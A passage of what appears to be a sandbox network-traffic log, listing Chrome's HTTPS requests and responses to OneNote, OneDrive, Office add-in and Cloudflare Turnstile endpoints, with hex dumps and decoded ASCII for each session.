tXGYs4eXsHmTsriLebqBoJS7mbqjuYmYnL3HuorSydG/t5HNw8SV1di1n9e2w9+/1d3Zw7frtqTvvdns8fTu7bWq5PXO+szP0c++0OPw5MQJAfjq+eb4xPrH5crO4/QS+Bn26vfk2+YQ0hYU3OT7/QTg2wLi6hoCJu4u7Bws8QLvFAX19RQKHBwgH/4jLjlGJCoCBz0sKwtFMEY+MDVKLEE6LzQUVk1ePF4sKzMvPVxWOzs8SkYrOGJbSU5cMm9
2024-10-25 08:19:22 UTC	1369	IN	Data Raw: 4b 75 39 73 59 43 72 72 62 61 45 6c 4c 4f 48 6f 4a 2b 54 77 48 2f 4d 71 63 47 4f 77 70 4b 77 6f 4d 6d 68 73 62 54 5a 74 37 76 65 6c 72 32 37 6d 4e 50 56 31 4d 4b 75 30 73 57 31 31 39 57 73 6e 38 61 33 35 63 72 79 79 4f 2f 76 77 38 33 51 2b 76 69 31 31 4f 2f 31 36 39 6a 79 77 73 33 66 34 75 37 45 41 38 49 49 77 63 55 4b 36 2b 6b 4d 37 66 6f 45 78 73 2f 54 36 68 54 74 35 74 6e 79 44 77 37 74 39 39 72 5a 31 66 34 43 42 69 59 63 48 43 41 44 49 43 34 43 4c 43 30 46 2b 6a 41 49 41 41 76 77 41 68 51 35 48 42 4d 74 4e 44 41 79 48 42 63 6a 4d 7a 30 6f 41 67 68 4b 50 51 4a 42 52 69 73 6e 53 69 6b 4e 4b 53 74 46 45 41 39 54 46 7a 78 59 4e 43 67 59 59 56 74 5a 58 32 42 66 58 6a 31 45 58 32 4a 42 57 57 64 6b 50 57 5a 6d 4f 69 39 76 62 30 6c 71 4c 6d 56 36 57 33 78 4d Data Ascii: Ku9sYCrrbaElLOHoJ+TwH/MqcGOwpKwoMmhsbTZt7velr27mNPV1MKu0sW119Wsn8a35cryyO/vw83Q+vi11O/169jyws3f4u7EA8IIwcUK6+kM7foExs/T6hTt5tnyDw7t99rZ1f4CBiYcHCADIC4CLC0F+jAIAAvwAhQ5HBMtNDAyHBcjMz0oAghKPQJBRisnSikNKStFEA9TFzxYNCgYYVtZX2BfXj1EX2JBWWdkPWZmOi9vb0lqLmV6W3xM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	50009	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:22 UTC	860	OUT	POST /o/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 190 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:22 UTC	190	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 35 37 31 38 38 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 34 33 38 37 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 76 69 73 69 62 6c 65 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 64 37 39 32 62 65 63 39 2d 66 65 62 36 2d 34 62 39 33 2d 62 38 63 33 2d 64 32 35 62 35 36 37 62 30 66 63 34 22 2c 22 49 22 3a 37 2c 22 56 22 3a 31 7d Data Ascii: {"T":1729844357188,"L":[{"G":595957843,"T":4387,"M":"Page lifecycle: VisibilityChange_visible fired, flushing logger","C":379,"D":50}],"S":"d792bec9-feb6-4b93-b8c3-d25b567b0fc4","I":7,"V":1}
2024-10-25 08:19:23 UTC	4645	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: fbfcedc9-5626-42d2-bb3e-923427cec8f0 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C8F X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5c&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C8F X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 3F8D04F9F2A745F7B0BFC42CEB054819 Ref B: DFW311000106027 Ref C: 2024-10-25T08:19:22Z Date: Fri, 25 Oct 2024 08:19:22 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	50016	13.107.246.60	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:22 UTC	580	OUT	GET /lib/1.1/hosted/office.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.onenote.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.onenote.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:23 UTC	1488	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:23 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Wed, 23 Oct 2024 18:33:44 GMT x-ms-request-id: 52ab88c9-c01e-0016-53e1-259ed7000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=23.221.23.207,b=1554922992,c=g,n=US_TX_DALLAS,o=20940],[c=c,n=US_TX_DALLAS,o=20940],[a=20.209.103.4,c=o] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=DALLAS&ASN=20940&Country=US&Region=TX&RequestIdentifier=0.cf17dd17.1729844321.5cae3df0&TotalRTCDNTime=7&CompressionType=gzip&FileSize=65468"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=7, clienttt; dur=677, origin; dur=0 , cdntime; dur=677 Akamai-Cache-Status: Miss from child, RefreshHit from parent X-CDN-Bucket: 2 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20241025T081923Z-16849878b786vsxz21496wc2qn000000092g000000003vcn x-fd-int-roxy-purgeid: 66127294 X-Cache-Info: L1_T2 X-Cache: TCP_HIT
2024-10-25 08:19:23 UTC	14896	IN	Data Raw: 34 31 38 32 0d 0a 76 61 72 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 29 20 7b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 6f 66 66 69 63 65 45 78 65 63 75 74 65 53 74 61 72 74 44 61 74 65 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 6f 66 66 69 63 65 45 78 65 63 75 74 65 53 74 61 72 74 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 6f 66 66 69 63 65 45 78 65 63 75 74 65 45 6e 64 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 68 6f 73 74 49 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 53 74 61 72 74 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 Data Ascii: 4182var OSFPerformance;(function (OSFPerformance) { OSFPerformance.officeExecuteStartDate = 0; OSFPerformance.officeExecuteStart = 0; OSFPerformance.officeExecuteEnd = 0; OSFPerformance.hostInitializationStart = 0; OSFPerforma
2024-10-25 08:19:23 UTC	16384	IN	Data Raw: 3d 62 3b 6c 28 4a 2c 61 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 63 2c 67 2c 65 2c 66 29 7b 76 61 72 20 61 3d 63 2e 5f 73 75 62 73 63 72 69 62 65 72 73 2c 62 3d 61 2e 6c 65 6e 67 74 68 3b 63 2e 5f 6f 6e 65 72 72 6f 72 3d 64 3b 61 5b 62 5d 3d 67 3b 61 5b 62 2b 6d 5d 3d 65 3b 61 5b 62 2b 6a 5d 3d 66 3b 62 3d 3d 3d 30 26 26 63 2e 5f 73 74 61 74 65 26 26 6c 28 78 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 62 29 7b 76 61 72 20 61 3d 62 2e 5f 73 75 62 73 63 72 69 62 65 72 73 2c 66 3d 62 2e 5f 73 74 61 74 65 3b 69 66 28 61 2e 6c 65 6e 67 74 68 3d 3d 3d 30 29 72 65 74 75 72 6e 3b 66 6f 72 28 76 61 72 20 65 2c 64 2c 67 3d 62 2e 5f 72 65 73 75 6c 74 2c 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 3d 33 29 7b 65 3d 61 5b 63 5d 3b 64 3d 61 5b 63 2b 66 5d 3b 69 Data Ascii: =b;l(J,a)}function t(c,g,e,f){var a=c._subscribers,b=a.length;c._onerror=d;a[b]=g;a[b+m]=e;a[b+j]=f;b===0&&c._state&&l(x,c)}function x(b){var a=b._subscribers,f=b._state;if(a.length===0)return;for(var e,d,g=b._result,c=0;c<a.length;c+=3){e=a[c];d=a[c+f];i
2024-10-25 08:19:23 UTC	16384	IN	Data Raw: 3b 76 61 72 20 74 3d 70 61 72 73 65 46 6c 6f 61 74 28 63 2e 68 6f 73 74 53 70 65 63 69 66 69 63 46 69 6c 65 56 65 72 73 69 6f 6e 29 2c 6e 3d 4f 53 46 2e 48 6f 73 74 53 70 65 63 69 66 69 63 46 69 6c 65 56 65 72 73 69 6f 6e 44 65 66 61 75 6c 74 3b 69 66 28 4f 53 46 2e 48 6f 73 74 53 70 65 63 69 66 69 63 46 69 6c 65 56 65 72 73 69 6f 6e 4d 61 70 5b 63 2e 68 6f 73 74 54 79 70 65 5d 26 26 4f 53 46 2e 48 6f 73 74 53 70 65 63 69 66 69 63 46 69 6c 65 56 65 72 73 69 6f 6e 4d 61 70 5b 63 2e 68 6f 73 74 54 79 70 65 5d 5b 63 2e 68 6f 73 74 50 6c 61 74 66 6f 72 6d 5d 29 6e 3d 4f 53 46 2e 48 6f 73 74 53 70 65 63 69 66 69 63 46 69 6c 65 56 65 72 73 69 6f 6e 4d 61 70 5b 63 2e 68 6f 73 74 54 79 70 65 5d 5b 63 2e 68 6f 73 74 50 6c 61 74 66 6f 72 6d 5d 3b 69 66 28 74 3e 70 Data Ascii: ;var t=parseFloat(c.hostSpecificFileVersion),n=OSF.HostSpecificFileVersionDefault;if(OSF.HostSpecificFileVersionMap[c.hostType]&&OSF.HostSpecificFileVersionMap[c.hostType][c.hostPlatform])n=OSF.HostSpecificFileVersionMap[c.hostType][c.hostPlatform];if(t>p
2024-10-25 08:19:23 UTC	16384	IN	Data Raw: 74 2c 6f 2c 22 53 75 62 46 65 61 74 75 72 65 4e 61 6d 65 22 2c 65 2e 73 75 62 46 65 61 74 75 72 65 4e 61 6d 65 29 2c 50 28 74 2c 6f 2c 22 43 61 70 61 62 69 6c 69 74 79 22 2c 65 2e 63 61 70 61 62 69 6c 69 74 79 29 2c 41 28 74 2c 6f 2c 22 49 73 54 68 75 6d 62 73 55 70 22 2c 65 2e 69 73 54 68 75 6d 62 73 55 70 29 2c 50 28 74 2c 6f 2c 22 45 6e 74 72 79 50 6f 69 6e 74 22 2c 65 2e 65 6e 74 72 79 50 6f 69 6e 74 29 2c 50 28 74 2c 6f 2c 22 56 65 72 62 22 2c 65 2e 76 65 72 62 29 2c 74 2e 70 75 73 68 28 70 28 22 7a 43 2e 22 2e 63 6f 6e 63 61 74 28 6f 29 2c 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 6f 70 69 6c 6f 74 22 29 29 2c 74 7d 7d 28 78 7c 7c 28 78 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 41 73 68 61 22 3b 21 66 75 6e 63 Data Ascii: t,o,"SubFeatureName",e.subFeatureName),P(t,o,"Capability",e.capability),A(t,o,"IsThumbsUp",e.isThumbsUp),P(t,o,"EntryPoint",e.entryPoint),P(t,o,"Verb",e.verb),t.push(p("zC.".concat(o),"Office.System.Copilot")),t}}(x\|\|(x={})),function(e){var t="Asha";!func
2024-10-25 08:19:23 UTC	1449	IN	Data Raw: 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 75 70 64 61 74 65 53 61 6d 70 6c 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 21 3d 3d 74 68 69 73 2e 5f 70 61 72 65 6e 74 49 64 26 26 21 21 74 68 69 73 2e 75 70 64 61 74 65 50 61 72 65 6e 74 49 64 28 74 29 26 26 28 74 68 69 73 2e 5f 74 72 61 63 65 46 6c 61 67 73 3d 65 3f 74 68 69 73 2e 5f 74 72 61 63 65 46 6c 61 67 73 7c 44 65 2e 53 61 6d 70 6c 65 64 3a 74 68 69 73 2e 5f 74 72 61 63 65 46 6c 61 67 73 26 7e 44 65 2e 53 61 6d 70 6c 65 64 2c 21 30 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 75 70 64 61 74 65 50 61 72 65 6e 74 49 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 3f 21 28 21 47 65 2e 74 65 73 74 28 65 29 7c 7c 7a 65 28 65 29 7c 7c 28 74 68 69 73 2e 5f 70 61 Data Ascii: ,e.prototype.updateSampled=function(e,t){return t!==this._parentId&&!!this.updateParentId(t)&&(this._traceFlags=e?this._traceFlags\|De.Sampled:this._traceFlags&~De.Sampled,!0)},e.prototype.updateParentId=function(e){return e?!(!Ge.test(e)\|\|ze(e)\|\|(this._pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	50017	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:22 UTC	860	OUT	POST /o/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 188 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:22 UTC	188	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 36 31 35 37 36 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 31 34 31 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 68 69 64 64 65 6e 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 64 37 39 32 62 65 63 39 2d 66 65 62 36 2d 34 62 39 33 2d 62 38 63 33 2d 64 32 35 62 35 36 37 62 30 66 63 34 22 2c 22 49 22 3a 38 2c 22 56 22 3a 31 7d Data Ascii: {"T":1729844361576,"L":[{"G":595957843,"T":141,"M":"Page lifecycle: VisibilityChange_hidden fired, flushing logger","C":379,"D":50}],"S":"d792bec9-feb6-4b93-b8c3-d25b567b0fc4","I":8,"V":1}
2024-10-25 08:19:23 UTC	4699	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 2000cce5-be74-4fa0-8de1-88d50aa7bec0 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DM3PEPF00014BEE X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS10 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5c&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DM3PEPF00014BEE X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wordslice,afd_wordcapacity,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 3228467D089144598DB33AF24B59C805 Ref B: DFW311000105035 Ref C: 2024-10-25T08:19:23Z Date: Fri, 25 Oct 2024 08:19:23 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	50020	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:23 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8d80c7f0395d4869/1729844361920/700c4f3314d211d47b57a4101d6055ffa87d1ba8a06e1a345d238d93c9a7557b/enOZeqjBY10f4Q5 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:23 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Fri, 25 Oct 2024 08:19:23 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-10-25 08:19:23 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 63 41 78 50 4d 78 54 53 45 64 52 37 56 36 51 51 48 57 42 56 5f 36 68 39 47 36 69 67 62 68 6f 30 58 53 4f 4e 6b 38 6d 6e 56 58 73 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gcAxPMxTSEdR7V6QQHWBV_6h9G6igbho0XSONk8mnVXsAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-10-25 08:19:23 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	50022	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:23 UTC	1127	OUT	POST /oa/WacOauth.aspx/LogLoadScriptResult HTTP/1.1 Host: oauth.officeapps.live.com Connection: keep-alive Content-Length: 75 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/json; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://oauth.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oauth.officeapps.live.com/oa/WacOAuth.aspx?replyUrl=https://onenote.officeapps.live.com&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&WacUserType=WOPI&sv=1&msalv3=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; PUS11-ARRAffinity=9ea258528c12fc9b9a93ce6660789fc58d2ad73c9d536bd62f098877fcbfb31c
2024-10-25 08:19:23 UTC	75	OUT	Data Raw: 7b 22 69 73 53 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 69 73 42 61 63 6b 75 70 22 3a 66 61 6c 73 65 2c 22 65 6c 61 70 73 65 64 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 3a 34 36 36 31 2e 36 30 30 30 30 30 30 30 30 30 33 35 7d Data Ascii: {"isSuccess":true,"isBackup":false,"elapsedMilliseconds":4661.600000000035}
2024-10-25 08:19:23 UTC	1112	IN	HTTP/1.1 200 OK Cache-Control: private, max-age=0 Content-Length: 10 Content-Type: application/json; charset=utf-8 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS6-ARRAffinity=14f6d01ec2e9966e974e910c6bbc40255f62304a612c443695baac782fee4c3b;Path=/;Domain=oauth.officeapps.live.com; samesite=none; secure; partitioned; httponly X-CorrelationId: cbfb9166-ba0b-4cc8-b718-b1e9d061413d X-UserSessionId: cbfb9166-ba0b-4cc8-b718-b1e9d061413d Strict-Transport-Security: max-age=31536000 X-OfficeFE: SN3PEPF0000F2F5 X-OfficeVersion: 16.0.18218.41000 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-OFFICEFD: SN3PEPF00013718 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wordslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 052382964D4E469183EA6356D02C709F Ref B: DFW311000106051 Ref C: 2024-10-25T08:19:23Z Date: Fri, 25 Oct 2024 08:19:23 GMT Connection: close
2024-10-25 08:19:23 UTC	10	IN	Data Raw: 7b 22 64 22 3a 6e 75 6c 6c 7d Data Ascii: {"d":null}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	50023	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

